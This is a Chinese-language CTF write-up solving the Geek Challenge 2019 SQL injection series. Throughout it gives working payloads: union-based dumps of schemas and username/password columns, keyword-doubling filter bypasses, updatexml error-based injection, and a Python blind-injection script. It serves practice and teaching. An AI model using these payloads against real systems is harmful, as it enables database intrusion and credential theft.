极客大挑战2019 - SQLI

2 minute read

极客大挑战2019 - SQLI

0x00 题目描述

极客大挑战2019的sql注入系列一共有5个题目,感觉非常有意思啊,就好像自己化身为了一名黑客

0x01 EasySQL

这题没什么好说的,万能密码一试就成功了

网站做的确实非常精湛!!

0x02 LoveSQL

用上面的万能密码登录进去后,没有flag,而是给出了一串密码,让人不禁联想到sql查询。在加上登录界面的提示,可以判断flag应该在数据库的某个地方

接下来在输入用户名处拼接常规的sql注入语句就行了,payload可以参考

#爆出所有库名
?id=0 union select 1,group_concat(distinct table_schema) from information_schema.columns
#爆出数据库news的所有表名
?id=0 union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema = 'news'
#爆出表admin的所有列
?id=0 union select 1,group_concat(distinct column_name) from information_schema.columns where table_name = 'admin'
#usernamepassword,中间用:隔开
?id=0 union select 1,group_concat(username,0x3a,password) from admin

0x03 BabySQL

这题应该才是我真正想写的一题。这题确实和登录界面说的一样,和之前的不同,做了严格的过滤。(2333

稍微看仔细点,就能发现很多关键单词比如or、where、select等都被替换为空了。解决的方法很简单,因为这道题只替换了一次,所以可以在一个单词里再写一个这个单词,比如把or写成oorr,就可以绕过这个“严格”的过滤了

查当前库名

1' ununionion seselectlect 1,2,database()#

爆出所有表

1' ununionion seselectlect 1,2,group_concat(distinct table_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek'#

爆出所有列

1' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'#

爆字段

1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm b4bsql#

0x04 HardSQL

一开始先简单测试一下,发现过滤了空格,而且怎么绕都绕不过去,然后去网上找wp发现是报错注入。值得注意的是这里用到了一个还没见过的新操作,用’^’来连接updatexml函数,结合了异或

查当前数据库名

admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

查表名

admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)#

查列名

admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)#

最后这里查flag内容的时候,由于updtexml最多显示32的长度,导致flag显示不全。然后用substr截取一下,发现substr被过滤了,于是上网找了另一种操作,用left和right截取函数分两次得到了完整的flag

admin'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1)#

0x05 FinalSQL

这道题和之前的题不太一样,可以看到给出了5个紫色的选项,分别对应着5个不同的id,但是这几个id都没什么用

试着在用户名和密码处进行注入,但是发现用户名和密码处有严格的过滤,大部分SQL注入的关键词都被过滤了

然后尝试在上面的那几个id处进行注入,发现空格也被过滤了,和上面的hardsql一样绕不过去,那么用上面hardsql的报错注入语句试试

发现有东西被过滤了,测试了一下发现被过滤的是0x7e,把它改成~反而绕过了过滤,然后再试试

然而可能是界面处理的比较好,并没有报错出什么有用的信息。主界面有个小提示,出现了SQL盲注的字样,那么来尝试一下盲注吧

结合异或注入的小技巧,构造id=1^1^1, 返回id=1的结果

id=1^0^1,返回id=0的结果(注意是三个感叹号)

那么构造 id = 1^(length(database())>3)^1,返回的是id=1的结果,即(length(database())>3) = 1,是真的,说明当前数据库的长度大于3

根据这个原理,构造id=1^(ascii(substr((select(database())),1,1))>100)^1, 不停的改变100那里的数值,即可判断出当前数据库的第一个字符是什么

然后可以借助burpsuite的intruder模块,试出数据库名,表名等。也可以写python脚本,如果数据太长的话,不写脚本是很慢的。这里给出最后已经查出了表名(F1naI1y,而且根据前几题sql题知道放flag的列都是password)之后查flag的脚本

import requests
url = "http://c1e6b438-7a2c-47fd-9473-96e47707df3a.node3.buuoj.cn/search.php"
for i in range(1,180):
    for j in range(1,128):
        d = "?id=1^(ascii(substr((select(group_concat(distinct(password)))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
        r = requests.get(url+d)
        if 'Click' in r.text:
            print(chr(j),end='')